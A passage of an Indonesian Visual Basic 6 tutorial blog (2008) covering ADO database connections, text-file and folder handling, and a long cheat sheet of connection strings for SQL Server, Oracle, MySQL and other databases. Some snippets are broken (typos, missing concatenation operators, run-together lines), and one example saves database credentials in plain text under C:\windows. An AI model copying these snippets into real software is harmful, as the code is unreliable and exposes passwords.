If TypeOf txt Is TextBox Then txt.Locked = True
Next
Me.MaskEdBox1.Enabled = False
End Sub
Sub releasefield()
On Error Resume Next
Dim txt As Control
'UnLocked the text boxes
For Each txt In Me
If TypeOf txt Is TextBox Then txt.Locked = False
Next
Me.MaskEdBox1.Enabled = True
End Sub
Sub SetButtons(bVal As Boolean)
Command1.Visible = bVal
Command2.Visible = bVal
Command4.Visible = Not bVal
Command5.Visible = Not bVal
Command3.Visible = bVal
Command6.Visible = bVal
Command7.Visible = bVal
End Sub
Private Sub ListView1_ItemClick(ByVal Item As MSComctlLib.ListItem)
Dim Item2 As ListItem
Set Item2 = ListView1.ListItems.Item(ListView1.SelectedItem.Index)
rs.MoveFirst
'Text1 = UCase(Trim(Text1))
'msgbox""&
rs.Find (" nis = '" & Me.ListView1.SelectedItem & "'")
If rs.AbsolutePosition > 0 Then
filltext
ElseIf rs.AbsolutePosition <>

8. Yang terakhir ketik kode berikut pada active report

Private Sub PageFooter_BeforePrint()
Me.lblpage.Caption = Me.pageNumber
End Sub

Private Sub ReportHeader_BeforePrint()
lbldate.Caption = "Di cetak tanggal : " & Format(Date, "dd/mm/yyyy")
End Sub

Koneksi dengan database

2008-11-28T13:23:00.001+07:00

Untuk dapat mengakses suatu database dari visual basic, Anda harus membuat koneksi ke database tersebut. Visual basic dapat menangani berbagai database, teks bakan worksheet excel. Terdapat beberapa cara yang tersedia untuk itu sesuai dengan database yang digunakan

Cara 1. Menggunakan Object ADO

Anda dapat menggunakan icon Adodc (Microsoft ActiveX Data Objects Data Control) pada toolbox. Jika pada toolbox tidak terdapat icon Adodc, Anda dapat menambahkannya dengan memilih menu Project, Components (Ctrl+T) lalu beri tanda pilih pada Microsoft ADO Data Control (OLEDB) dan klik Apply. Sekarang kita akan mencoba mengaitkan database Ms. Acess yang diberi nama Pembelian.mdb. Untuk itu, lakukan langkah-langkah sebagai berikut:

Pilih menu File lalu New.
Pilih VB Enterprise (Professional) Edition Controls.
Klik OK.
Klik ganda pada folder Forms pada jendela proyek lalu klik ganda pada Form 1 sampai muncul tampilan form.
Klik icon Adodc pada toolbox.
Klik dan seret pada jendela form, sehingga muncul tampilan seperti Gb. Objek yang tergambar dalam form disebut objek data.
Tentukan properti data sebagai berikut:
1. Name db Pembelian
2. Caption Data Barang
3. EOFAcction 2
Tentukan properti ConnectionString dengan cara mengklik tombol … pada kolom ConnectionString sehingga muncul tam pilan seperti pada Gb
Pilih OptionButton pada Use Connection String lalu klik Build sehingga muncul tampilan seperti pada Gb
Pilih Microsoft Jet 4.0 OLEDB Provider lalu klik Next.
Pilih (dengan mengklik tombol …) atau ketik nama database yang dipakai pada kolom Select or enter a database name.
Klik Test Connection jika perlu, lalu kllk OK dua kali sampai tampilan kembali ke jendela Form.
Tentukan properti RecordSource dengan cara mengklik tombol pada kolom RecordSource sehingga muncul tampilan seperti pada Gb
Pada kolom Command Type pilih 2-adCmdTable. Setelah kolom ini diisi, maka Anda akan dapat mengisi kolom Table or Stored Procedure Name. lsilah dengan memilib tabel Barang seperti pada Gb
Klik OK.
Simpan form dan proyek dengan nama VB-Lat-01

Cara 2: Mendeklarasikan Objek Ado

Object ado dapat dideklarasi melalui coding. Tiga object bawaan ADO dalam pengembangan aplikasi adalah :

1. Obcet Connection

untuk menangani koneksi antara program dengan sumber data atau server. Deklarasi dapat bersifat lokal maupun global serta dapat diletakan pada level form, modul atau class modul. ADO paling umum membuka suatu koneksi dengan menggunakan obyek Connection Open metoda. Sintaks untuk Metoda Open ditunjukkan sbb:

Dim connection as New ADODB.Connection

connection.Open ConnectionString, UserID, Password, OpenOptions

Sebagai alternatif, anda dapat menggunakan teknik pintas, recordset.Open, untuk membuka koneksi yang tersembunyi dan mengeluarkan suatu perintah atas koneksi dalam satu operasi. Lakukan hal ini dengan mengaktivkan suatu koneksi yang valid seperti argumentasi ActiveConnection ke Metoda Open. Ini adalah sintaksis untuk masing-masing metoda di Visual Basic:

Dim recordset as ADODB.Recordset Set

recordset = New ADODB.Recordset

recordset.Open Source, ActiveConnection, CursorType, LockType, Options

Contoh :

Deklarasi object Connection:

Dim cn As New ADODB.Connection

atau

Public cn As New ADODB.connection

Selanjutnya mengalokasikan memori untuk onject connection sbb:

Set cn = New ADODB.Connection

Kemudian isi property object connoction tersebut sbb:

Contoh berikut adalah property untuk MSSQL Server

cn.connectionString = “Perovider=SQLOLEDB;” & _

”Server=NamaServer; ” & _

“Initial catalog= inventory” & _

“user Id = zulidamel” _

“Password=terserah”

cn.Open

atau

koneksi = “Perovider=SQLOLEDB;” & _

”Server=NamaServer; ” & _

“Initial catalog= inventory” & _

“user Id = zulidamel” _

“Password=terserah”

cn.Open koneksi

Jika tidak ingin menggunak authentik pada proses koneksi gunakan cara berikut:

koneksi = “Provider=SQLOLEDB.1;” & _

“Integrated Security Info=False;” & _

“Data Source = NamaServer” cn.Open koneksiBila koneksi sudah tidak diperlukan tutuplah koneksi dengan perintah

”Set cn = Nothing”

2. Object Command

Digunakan untuk perintah SQL ke sumber data atau server. Deklarasi object command sbb:

Dim CmdBarang As New ADODB.Command

atau

Public Cmd as New ADODB.Command

selanjutnya alokasikan memori untuk object Command sbb:

Set CmdBarang = New ADODB.Command

Kemudian Isi property object command

CmdBarang.ActiveConection = cn

CmdBarang.CommandText = “select * from barang”

CmdBarang.CommandType = adCmdText

3. Object Recordset

Digunakan sebagao penampung hasil eksekusi dalam bentuk tabel. Deklarasi object record sbb:

Dim rsBarang As New ADODB.Recordset

atau

Public rsBarang As New ADODB.Recordset

selanjutnya alokasikan memori ynryk object recordset sbb:

Set rsBarang = New ADODB.recordset

lalu isikan property object record set

rsBarang.CusrsorTYpe = adOpenDynamic

rsBarang.LockType = adLockOptimistic

rsbarang.Open cmdBarang

atau

rsbarang,open CmdBarang,, adOpenDynamic, adlockOptimistic, adCmdtext

Data Control

Visual Basic terus berkembang dalam pengembangan general purpose Windows, tetapi kemampuan database tidaklah bagian murni dari desainnya. Data Control, Visual Basic menambahkan, membuat Visual Basic suatu alat yang jauh lebih tangguh untuk pembuatan pemrograman database.

Data Control memberikan kemudahkan untuk mendapat data ke dalam program anda. Anda dapat dengan mudah mengaitkan suatu file database, lalu mengaitkan data lainnya untuk memindahkan data dari database ke aplikasi anda dan sebaliknya. Data Control pada suatu database dan menetapkan tabel mana yang akan diambil, lalu mengaitkan ke pengendali Data Control, menetapkan field yang akan ditampilkan. Pada waktu itu aplikasi anda dapat mengambil, menampilkan, memperbaharui dan membuat database merekam. Alir data di dalam skenario ini ditandai pada gambar.

Menulis dan membaca dari file Text

2008-11-28T13:01:00.002+07:00

Hampir setiap pemrograman yang saya lakukan, memerlukan perintah untuk membaca dan menulis File text.
Sebagai tambahan Informasi, kali ini saya akan menampilkan syntax bagaimana caranya membaca dan menulis file text melalui bahasa pemrograman Visual Basic.
Berikut List Syntaxnya …

1. Menulis Ke File Text

Dim LocTextFile As String
LocTextFile = “C:\windows\SvAdd.txt”

Open LocTextFile For Output As #1 ‘Buka file text
Print #1, “Server_Name” ‘Modify Baris Pertama”
Print #1, “Database_Name” ‘Modify Baris Kedua
Print #1, “User” ‘Modify Baris Ketiga
Print #1, “Pwd” ‘Modify Baris Keempat
Close #1

2. Membaca dari File Text

Dim LocTextFile As String
Dim ServerAddress As String
Dim DatabaseName As String
Dim UserID As String
Dim PwdSql As String
LocTextFile = “C:\windows\SvAdd.txt”
Open LocTextFile For Input As #1 ‘Buka file text
Line Input #1, ServerAddress ‘Baca Baris Pertama
Line Input #1, DatabaseName ‘Baca Baris Kedua
Line Input #1, UserID ‘Baca Baris Ketiga
Line Input #1, PwdSql ‘Baca Baris Keempat
Close #1 ‘Tutup File file text

Membuat dan menghapus folder melalui VB

2008-11-28T12:59:00.001+07:00

Posting berikut akan memberikan cara untuk membuat dan menghapus suatu folder menggunakan program Visual Basic.
Tips ini sangat membantu kita untuk menyimpan file dari hasil suatu proses.
Berikut kumpulan Syntaxknya :

Pada saat akan membuat direktori baru, kita harus pastikan bahwa folder
tersebut benar - benar baru (tidak ada sebelumnya).

Menghapus Suatu Folder :

RmDir (”c:\FolderTest”)

2. Sebelum menjalankan hapus Folder, pastikan isi dari folder tersebut sudah Kosong,
Cara untuk menghapus isi Dari folder tersebut :

Kill “c:\FolderTest\*.*”

3. Membuat Direktory Baru :

MkDir (”c:\FolderTest”)

Selamat Mencoba !!

Menghubungkan VB dengan semua database

2008-11-28T10:36:00.013+07:00

1. SQL Server

ODBC
Standard Security:
"Driver={SQL Server};Server=Aron1;Database=pubs;Uid=sa;Pwd=asdasd;"

Trusted connection:
"Driver={SQL Server};Server=Aron1;Database=pubs;
Trusted_Connection=yes;"

Prompt for username and password:
oConn.Properties("Prompt") = adPromptAlwaysoConn.Open "Driver={SQL Server};Server=Aron1;DataBase=pubs;"
OLE DB, OleDbConnection (.NET)

Standard Security:
"Provider=sqloledb;Data Source=Aron1;Initial Catalog=pubs;User Id=sa;Password=asdasd;"

Trusted Connection:
"Provider=sqloledb;Data Source=Aron1;Initial Catalog=pubs;Integrated Security=SSPI;"
(use serverName\instanceName as Data Source to use an specifik SQLServer instance, only SQLServer2000)

Prompt for username and password:
oConn.Provider = "sqloledb"oConn.Properties("Prompt") = adPromptAlwaysoConn.Open "Data Source=Aron1;Initial Catalog=pubs;"

Connect via an IP address:
"Provider=sqloledb;Data Source=190.190.200.100,1433;Network Library=DBMSSOCN;Initial Catalog=pubs;User ID=sa;Password=asdasd;"

(DBMSSOCN=TCP/IP instead of Named Pipes, at the end of the Data Source is the port to use (1433 is the default))
SqlConnection (.NET)
Standard Security:
"Data Source=Aron1;Initial Catalog=pubs;User Id=sa;Password=asdasd;" - or -
"Server=Aron1;Database=pubs;User ID=sa;Password=asdasd;Trusted_Connection=False"

(both connection strings produces the same result)

Trusted Connection:
"Data Source=Aron1;Initial Catalog=pubs;Integrated Security=SSPI;" - or -"Server=Aron1;Database=pubs;Trusted_Connection=True;"

(both connection strings produces the same result)
(use serverName\instanceName as Data Source to use an specifik SQLServer instance,
only SQLServer2000)

Connect via an IP address:
"Data Source=190.190.200.100,1433;Network Library=DBMSSOCN;Initial Catalog=pubs;User ID=sa;Password=asdasd;"
(DBMSSOCN=TCP/IP instead of Named Pipes,
at the end of the Data Source is the port to use (1433 is the default))

Declare the SqlConnection:
C#:using System.Data.SqlClient;SqlConnection oSQLConn = new SqlConnection();oSQLConn.ConnectionString="my connection string";oSQLConn.Open();

VB.NET:
Imports System.Data.SqlClientDim oSQLConn As SqlConnection = New SqlConnection()oSQLConn.ConnectionString="my connection string"oSQLConn.Open()
Data Shape
MS Data Shape"Provider=MSDataShape;Data Provider=SQLOLEDB;Data Source=Aron1;Initial Catalog=pubs;User ID=sa;Password=asdasd;"

2.

SQL Server 2005

SQL Native Client ODBC Driver
Standard security:
"Driver={SQL Native Client};Server=Aron1;Database=pubs;UID=sa;PWD=asdasd;"

Trusted connection:
"Driver={SQL Native Client};Server=Aron1;Database=pubs;Trusted_Connection=yes;"

EquivalentsIntegrated Security=SSPI equals Trusted_Connection=yes

Prompt for username and password:
oConn.Properties("Prompt") = adPromptAlwaysoConn.Open "Driver={SQL Native Client};Server=Aron1;DataBase=pubs;"

Enabling MARS (multiple active result sets):

"Driver={SQL Native Client};Server=Aron1;Database=pubs;

Trusted_Connection=yes;MARS_Connection=yes"

EquivalentsMultipleActiveResultSets=true equals MARS_Connection=yes

Encrypt data sent over network:

"Driver={SQL Native Client};Server=Aron1;Database=pubs;

Trusted_Connection=yes;Encrypt=yes"
Attach a database file on connect to a local SQL Server Express instance:

"Driver={SQL Native Client};Server=.\SQLExpress;

AttachDbFilename=c:\asd\qwe\mydbfile.mdf;

Database=dbname;Trusted_Connection=Yes;"

- or -

"Driver={SQL Native Client};Server=.\SQLExpress;

AttachDbFilename=DataDirectorymydbfile.mdf;

Database=dbname;Trusted_Connection=Yes;"

(use DataDirectory when your database file resides in the data directory)

Why is the "Database" parameter needed?
Answer:
If the database was previously attached, SQL Server does not reattach it
(it uses the attached database as the default for the connection).

(the package contains booth the ODBC driver and the OLE DB provider)
Using SQL Server 2005 Express? Don't miss the server name syntax:

SERVERNAME\SQLEXPRESS (Substitute "SERVERNAME" with the name of the computer)
SQL Native Client OLE DB Provider
Standard security:
"Provider=SQLNCLI;Server=Aron1;Database=pubs;
UID=sa;PWD=asdasd;"
Trusted connection:
"Provider=SQLNCLI;Server=Aron1;Database=pubs;
Trusted_Connection=yes;"
Equivalents

Integrated Security=SSPI equals Trusted_Connection=yes

Prompt for username and password:
oConn.Properties("Prompt") = adPromptAlwaysoConn.Open "Provider=SQLNCLI;Server=Aron1;DataBase=pubs;"
Enabling MARS (multiple active result sets):
"Provider=SQLNCLI;Server=Aron1;Database=pubs;
Trusted_Connection=yes;MarsConn=yes"

Equivalents

MarsConn=yes equals MultipleActiveResultSets=true equals MARS_Connection=yes

Encrypt data sent over network:
"Provider=SQLNCLI;Server=Aron1;Database=pubs;
Trusted_Connection=yes;Encrypt=yes"

Attach a database file on connect to a local SQL Server Express instance:
"Provider=SQLNCLI;Server=.\SQLExpress;
AttachDbFilename=c:\asd\qwe\mydbfile.mdf;
Database=dbname;Trusted_Connection=Yes;"
- or -
"Provider=SQLNCLI;Server=.\SQLExpress;
AttachDbFilename=DataDirectorymydbfile.mdf;
Database=dbname;Trusted_Connection=Yes;"

(use DataDirectory when your database file resides in the data directory)

Why is the "Database" parameter needed?
Answer: If the database was previously attached,
SQL Server does not reattach it
(it uses the attached database as the default for the connection).

(the package contains booth the ODBC driver and the OLE DB provider)
Using SQL Server 2005 Express? Don't miss the server name syntax:
SERVERNAME\SQLEXPRESS (Substitute "SERVERNAME" with the name of the computer)

SqlConnection (.NET)
Standard Security:
"Data Source=Aron1;Initial Catalog=pubs;User Id=sa;Password=asdasd;"

- or -

"Server=Aron1;Database=pubs;User ID=sa;Password=asdasd;Trusted_Connection=False"

(both connection strings produces the same result)

Trusted Connection:
"Data Source=Aron1;Initial Catalog=pubs;Integrated Security=SSPI;"

- or -

"Server=Aron1;Database=pubs;Trusted_Connection=True;"

(both connection strings produces the same result)

(use serverName\instanceName as Data Source to use an specifik SQLServer instance)

Connect via an IP address:
"Data Source=190.190.200.100,1433;
Network Library=DBMSSOCN;Initial Catalog=pubs;User ID=sa;Password=asdasd;"

(DBMSSOCN=TCP/IP instead of Named Pipes,
at the end of the Data Source is the port to use (1433 is the default))

Enabling MARS (multiple active result sets):
"Server=Aron1;Database=pubs;
Trusted_Connection=True;MultipleActiveResultSets=true"

Note! Use ADO.NET 2.0 for MARS functionality.
MARS is not supported in ADO.NET 1.0 nor ADO.NET 1.1
Streamline your Data Connections by Moving to MARS, by Laurence Moroney, DevX.com >>

Attach a database file on connect to a local
SQL Server Express instance:
"Server=.\SQLExpress;
AttachDbFilename=c:\asd\qwe\mydbfile.mdf;
Database=dbname;
Trusted_Connection=Yes;"
- or -
"Server=.\SQLExpress;
AttachDbFilename=DataDirectorymydbfile.mdf;
Database=dbname;
Trusted_Connection=Yes;"

(use DataDirectory when your database file resides in the data directory)
Why is the "Database" parameter needed?
Answer: If the database was previously attached,
SQL Server does not reattach it (
it uses the attached database as the default for the connection).

Using "User Instance" on a local SQL Server Express instance:
"Data Source=.\SQLExpress;integrated security=true;
attachdbfilename=DataDirectory\mydb.mdf;user instance=true;"

The "User Instance" functionality creates a new SQL Server
instance on the fly during connect. This works only on a local SQL Server 2005
instance and only when connecting using windows authentication over local named pipes.
The purpose is to be able to create a full rights SQL Server instance to a user
with limited administrative rights on the computer.
To enable the functionality: sp_configure 'user instances enabled','1' (0 to disable)
Using SQL Server 2005 Express? Don't miss the server name syntax:
SERVERNAME\SQLEXPRESS (Substitute "SERVERNAME" with the name of the computer)

Context Connection - connecting to "self" from within your
CLR stored prodedure/function
C#:
using(SqlConnection connection = new SqlConnection("context connection=true"))
{ connection.Open();
// Use the connection
}

Visual Basic:
Using connection as new SqlConnection("context connection=true")
connection.Open() ' Use the connection
End Using

The context connection lets you execute Transact-SQL statements
in the same context (connection) that your code was invoked in the first place.

3. Access

ODBC
Standard Security:
"Driver={Microsoft Access Driver (*.mdb)};
Dbq=C:\mydatabase.mdb;Uid=Admin;Pwd=;"

Workgroup:
"Driver={Microsoft Access Driver (*.mdb)};
Dbq=C:\mydatabase.mdb;SystemDB=C:\mydatabase.mdw;"

Exclusive:
"Driver={Microsoft Access Driver (*.mdb)};
Dbq=C:\mydatabase.mdb;Exclusive=1;Uid=admin;Pwd="

OLE DB, OleDbConnection (.NET)
Standard security:
"Provider=Microsoft.Jet.OLEDB.4.0;
Data Source=\somepath\mydb.mdb;User Id=admin;Password=;"

Workgroup (system database):
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\somepath\mydb.mdb;Jet OLEDB:System Database=system.mdw;"

With password:
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\somepath\mydb.mdb;Jet OLEDB:Database Password=MyDbPassword;"

4. Oracle

ODBC
New version:
"Driver={Microsoft ODBC for Oracle};Server=OracleServer.world;
Uid=Username;Pwd=asdasd;"

Old version:
"Driver={Microsoft ODBC Driver for Oracle};
ConnectString=OracleServer.world;
Uid=myUsername;Pwd=myPassword;"

OLE DB, OleDbConnection (.NET)
Standard security:
"Provider=msdaora;Data Source=MyOracleDB;User Id=UserName;Password=asdasd;"

This one's from Microsoft, the following are from Oracle

Standard Security:
"Provider=OraOLEDB.Oracle;Data Source=MyOracleDB;User Id=Username;Password=asdasd;"

Trusted Connection:
"Provider=OraOLEDB.Oracle;Data Source=MyOracleDB;OSAuthent=1;"

OracleConnection (.NET)

Standard:
"Data Source=MyOracleDB;Integrated Security=yes;"

This one works only with Oracle 8i release 3 or later

Specifying username and password:
"Data Source=MyOracleDB;User Id=username;Password=passwd;Integrated Security=no;"

This one works only with Oracle 8i release 3 or later

Declare the OracleConnection:
C#:
using System.Data.OracleClient;
OracleConnection oOracleConn = new OracleConnection();
oOracleConn.ConnectionString = "my connection string";
oOracleConn.Open();

VB.NET:
Imports System.Data.OracleClient
Dim oOracleConn As OracleConnection = New OracleConnection()
OracleConn.ConnectionString = "my connection string"
oOracleConn.Open()

Missing the System.Data.OracleClient namespace? Download .NET Managed Provider for Oracle >>Great article! "Features of Oracle Data Provider for .NET" by Rama Mohan G. at C# Corner

Core Labs OraDirect (.NET)
Standard:
"User ID=scott; Password=tiger; Host=ora; Pooling=true; Min Pool Size=0;Max Pool Size=100; Connection Lifetime=0"

Read more at Core Lab and the product page.

Data Shape
MS Data Shape:
"Provider=MSDataShape.1;Persist Security Info=False;Data Provider=MSDAORA;Data Source=orac;user id=username;password=mypw"

5. MySQL

MyODBC
MyODBC 2.50 Local database:
"Driver={mySQL};Server=localhost;
Option=16834;Database=mydatabase;"

MyODBC 2.50 Remote database:
"Driver={mySQL};Server=data.domain.com;
Port=3306;Option=131072;Stmt=;
Database=my-database;Uid=username;Pwd=password;"

MyODBC 3.51 Local database:
"DRIVER={MySQL ODBC 3.51 Driver};
SERVER=localhost;DATABASE=myDatabase;
USER=myUsername;
PASSWORD=myPassword;OPTION=3;"

MyODBC 3.51 Remote database:
"DRIVER={MySQL ODBC 3.51 Driver};
SERVER=data.domain.com;
PORT=3306;DATABASE=myDatabase; USER=myUsername;PASSWORD=myPassword;OPTION=3;"

OLE DB, OleDbConnection (.NET)
Standard:
"Provider=MySQLProv;Data Source=mydb;
User Id=UserName;Password=asdasd;"
Connector/Net 1.0 (.NET)

Standard:
"Server=Server;Database=Test;Uid=UserName;Pwd=asdasd;"

Download the driver at MySQL Developer Zone.

Specifying port:
"Server=Server;Port=1234;Database=Test;
Uid=UserName;Pwd=asdasd;"

Default port is 3306. Enter value -1 to use a named pipe connection.

Declare the MySqlClient connection:
C#:
using MySql.Data.MySqlClient;
MySqlConnection oMySqlConn = new MySqlConnection();
oMySqlConn.ConnectionString = "Server=Server;Database=Test;Uid=UserName;Pwd=asdasd;";
oMySqlConn.Open();

VB.NET:
Imports MySql.Data.MySqlClient
Dim oMySqlConn As MySqlConnection = New MySqlConnection()
oMySqlConn.ConnectionString = "Server=Server;Database=Test;Uid=UserName;Pwd=asdasd;"
oMySqlConn.Open()

MySqlConnection (.NET)
eInfoDesigns.dbProvider:
"Data Source=server;Database=mydb;User ID=username;Password=pwd;Command Logging=false"

This one is used with eInfoDesigns dbProvider, an add-on to .NET

Declare the MySqlConnection:
C#:
using eInfoDesigns.dbProvider.MySqlClient;
MySqlConnection oMySqlConn = new MySqlConnection();
oMySqlConn.ConnectionString = "my connection string";
oMySqlConn.Open();

VB.NET:
Imports eInfoDesigns.dbProvider.MySqlClient
Dim oMySqlConn As MySqlConnection = New MySqlConnection()
oMySqlConn.ConnectionString = "my connection string"
oMySqlConn.Open()

SevenObjects MySqlClient (.NET)
Standard:
"Host=server; UserName=myusername; Password=mypassword;Database=mydb;"

This is a freeware ADO.Net data provider from SevenObjects

Core Labs MySQLDirect (.NET)
Standard:
"User ID=root; Password=pwd; Host=localhost; Port=3306; Database=test;
Direct=true; Protocol=TCP; Compress=false; Pooling=true; Min Pool Size=0;
Max Pool Size=100; Connection Lifetime=0"

6.Interbase

ODBC, Easysoft
Local computer:
"Driver={Easysoft IB6 ODBC};
Server=localhost;Database=localhost:C:\mydatabase.gdb;
Uid=username;Pwd=password"

Remote Computer:
"Driver={Easysoft IB6 ODBC};
Server=ComputerName;
Database=ComputerName:C:\mydatabase.gdb;
Uid=username;Pwd=password"

ODBC, Intersolv
Local computer:
"Driver={INTERSOLV InterBase ODBC Driver (*.gdb)};Server=localhost;Database=localhost:C:\mydatabase.gdb;
Uid=username;Pwd=password"

Remote Computer:
"Driver={INTERSOLV InterBase ODBC Driver (*.gdb)};
Server=ComputerName;
Database=ComputerName:C:\mydatabase.gdb;
Uid=username;Pwd=password"

This driver are provided by DataDirect Technologies >> (formerly Intersolv)

OLE DB, SIBPROvider
Standard:
"provider=sibprovider;location=localhost:;data source=c:\databases\gdbs\mygdb.gdb;user id=SYSDBA;password=masterkey"

Specifying character set:
"provider=sibprovider;location=localhost:;data source=c:\databases\gdbs\mygdb.gdb;user id=SYSDBA;password=masterkey;character set=ISO8859_1"

Specifying role:
"provider=sibprovider;location=localhost:;data source=c:\databases\gdbs\mygdb.gdb;user id=SYSDBA;password=masterkey;role=DIGITADORES"

7.IBM DB2

OLE DB, OleDbConnection (.NET) from ms
TCP/IP:
"Provider=DB2OLEDB;Network Transport Library=TCPIP;Network Address=XXX.XXX.XXX.XXX;Initial Catalog=MyCtlg;Package Collection=MyPkgCol;Default Schema=Schema;
User ID=MyUser;Password=MyPW"

APPC:
"Provider=DB2OLEDB;APPC Local LU Alias=MyAlias;APPC Remote LU Alias=MyRemote;Initial Catalog=MyCtlg;Package Collection=MyPkgCol;Default Schema=Schema;
User ID=MyUser;Password=MyPW"

IBM's OLE DB Provider (shipped with IBM DB2 UDB v7 or above)
TCP/IP:
Provider=IBMDADB2;Database=sample;HOSTNAME=db2host;
PROTOCOL=TCPIP;
PORT=50000;uid=myUserName;pwd=myPwd;

ODBC
Standard:
"driver={IBM DB2 ODBC DRIVER};Database=myDbName;hostname=myServerName;
port=myPortNum;protocol=TCPIP;
uid=myUserName; pwd=myPwd"

8.Sybase

ODBC
Standard Sybase System 12 Enterprise Open Client:
"Driver={SYBASE ASE ODBC Driver};Srvr=Aron1;Uid=username;Pwd=password"

Standard Sybase System 12.5 Enterprise Open Client:
"Driver={SYBASE ASE ODBC Driver};NA=HOSTNAME,PORT_NUMBER;
UID=username;PWD=password"

Standard Sybase System 11:
"Driver={SYBASE SYSTEM 11};Srvr=Aron1;Uid=username;Pwd=password;Database=mydb"

For more information check out the Adaptive Server Enterprise Document Sets

Intersolv 3.10:
"Driver={INTERSOLV 3.10 32-BIT Sybase};Srvr=Aron1;Uid=username;Pwd=password;"

Sybase SQL Anywhere (former Watcom SQL ODBC driver):
"ODBC; Driver=Sybase SQL Anywhere 5.0;
DefaultDir=c:\dbfolder\;Dbf=c:\mydatabase.db;
Uid=username;Pwd=password;Dsn="""""

Note! The two double quota ("") following the DSN parameter at
the end are escaped quotas (VB syntax),
you may have to change this to your
language specific escape syntax (\") or maybe single quota (').
The empty DSN parameter is indeed critical as not including it will result in error 7778.
OLE DB
Adaptive Server Anywhere (ASA):
"Provider=ASAProv;Data source=myASA"

Read more in the ASA User Guide (part 1, chapter 2) >>

Adaptive Server Enterprise (ASE) with Data Source .IDS file:
"Provider=Sybase ASE OLE DB Provider; Data source=myASE"

Note that you must create a Data Source .IDS file using
the Sybase Data Advministrator. These .IDS files resemble ODBC DSNs.

Adaptive Server Enterprise (ASE):
"Provider=Sybase.ASEOLEDBProvider;Srvr=myASEserver,5000;
Catalog=myDBname;User Id=username;Password=password"

- some reports on problem using the above one, try the following as an alternative -

"Provider=Sybase.ASEOLEDBProvider;
Server Name=myASEserver,5000;Initial Catalog=myDBname;
User Id=username;Password=password"

This one works only from Open Client 12.5 where the server port number feature works,
allowing fully qualified connection strings to be used without
defining any .IDS Data Source files.

AseConnection (.NET)
Standard:
"Data Source='myASEserver';Port=5000;Database='myDBname';
UID='username';PWD='password';"

Declare the AseConnection:
C#:
using Sybase.Data.AseClient;
AseConnection oCon = new AseConnection();
oCon.ConnectionString="my connection string";
oCon.Open();

VB.NET:
Imports System.Data.AseClientDim oCon As AseConnection = New AseConnection()oCon.ConnectionString="my connection string"oCon.Open()

9.Informix

ODBC
Informix 3.30:
"Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=hostname;
Server=myserver;Service=service-name;Protocol=olsoctcp;
Database=mydb;UID=username;PWD=myPwd

Informix-CLI 2.5:
"Driver={Informix-CLI 2.5 (32 Bit)};Server=myserver;
Database=mydb;Uid=username;Pwd=myPwd"

OLE DB
IBM Informix OLE DB Provider:
"Provider=Ifxoledbc.2;password=myPw;User ID=myUser;Data Source=dbName@serverName;
Persist Security Info=true"

10. Ingres

ODBC
DSN-less:
"Provider=MSDASQL.1;DRIVER=Ingres;SRVR=xxxxx;
DB=xxxxx;Persist Security Info=False;uid=xxxx;
pwd=xxxxx;SELECTLOOPS=N;
Extended Properties=""SERVER=xxxxx;
DATABASE=xxxxx;SERVERTYPE=INGRES"""

Important note! The two double quota ("") in the string are
escaped quotas (VB syntax), you may have to change this to your
language specific escape syntax (ex. \") or maybe single quota (').

11. Mimer SQL

ODBC
Standard Security:
"Driver={MIMER};Database=mydb;Uid=myuser;Pwd=mypw;"

Prompt for username and password:
"Driver={MIMER};Database=mydb;"

12. Lightbase

Standard
Standard:
"user=USERLOGIN;password=PASSWORD;UDB=USERBASE;
server=SERVERNAME"

13.PostgreSQL

Core Labs PostgreSQLDirect (.NET)
Standard:
"User ID=root; Password=pwd; Host=localhost; Port=5432;
Database=testdb;Pooling=true;
Min Pool Size=0; Max Pool Size=100; Connection Lifetime=0"

Read more at Core Lab and the product page.

PostgreSQL driver
Standard:
"DRIVER={PostgreSQL};SERVER=ipaddress;port=5432;
DATABASE=dbname;UID=username;PWD=password;"
Npgsql by pgFoundry (.NET)
SSL activated:
"Server=127.0.0.1;Port=5432;Userid=myuserid;
password=mypw;Protocol=3;SSL=true;
Pooling=true;MinPoolSize=3;MaxPoolSize=20;
Encoding=UNICODE;Timeout=20;SslMode=Require"

Without SSL:
"Server=127.0.0.1;Port=5432;Userid=myuserid;
password=mypw;
Protocol=3;SSL=false;
Pooling=true;MinPoolSize=1;MaxPoolSize=20;
Encoding=UNICODE;Timeout=15;SslMode=Disable"

14. Paradox

ODBC
5.X:
Driver={Microsoft Paradox Driver (*.db )};DriverID=538;Fil=Paradox 5.X;DefaultDir=c:\pathToDb\;Dbq=c:\pathToDb\;
CollatingSequence=ASCII"

7.X:
"Provider=MSDASQL.1;Persist Security Info=False;Mode=Read;Extended Properties='DSN=Paradox;DBQ=C:\myDb;
DefaultDir=C:\myDb;DriverId=538;FIL=Paradox 7.X;
MaxBufferSize=2048;PageTimeout=600;';Initial Catalog=C:\myDb"
OleDbConnection (.NET)
Standard
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\myDb;
Extended Properties=Paradox 5.x;"

15. DSN

ODBC
DSN:
"DSN=myDsn;Uid=username;Pwd=;"

File DSN:
"FILEDSN=c:\myData.dsn;Uid=username;Pwd=;"

16. Firebird

ODBC - IBPhoenix Open Source
Standard:
"DRIVER=Firebird/InterBase(r) driver;UID=SYSDBA;
PWD=masterkey;
DBNAME=D:\FIREBIRD\examples\TEST.FDB"

IBPhoenix ODBC; More info, download etc >>

.NET - Firebird .Net Data Provider
Standard:
"User=SYSDBA;Password=masterkey;
Database=SampleDatabase.fdb;
DataSource=localhost;
Port=3050;Dialect=3;Charset=NONE;Role=;
Connection lifetime=15;Pooling=true;MinPoolSize=0;
MaxPoolSize=50;Packet Size=8192;ServerType=0"

17. Excel

ODBC
Standard:
"Driver={Microsoft Excel Driver (*.xls)};DriverId=790;
Dbq=C:\MyExcel.xls;DefaultDir=c:\mypath;"

TIP! SQL syntax: "SELECT * FROM [sheet1$]" - i.e. worksheet name followed by a "$"
and wrapped in "[" "]" brackets.

OLE DB
Standard:
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\MyExcel.xls;Extended Properties=""Excel 8.0;HDR=Yes;IMEX=1"""

"HDR=Yes;" indicates that the first row contains columnnames, not data

"IMEX=1;" tells the driver to always read "intermixed"
data columns as text. Note that this option might affect excel sheet write access negative.

TIP! SQL syntax: "SELECT * FROM [sheet1$]" -
i.e. worksheet name followed by a "$" and wrapped in "[" "]" brackets.

TIP! Check out the [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\Engines\Excel]
located registry REG_DWORD "TypeGuessRows". That's the key to n
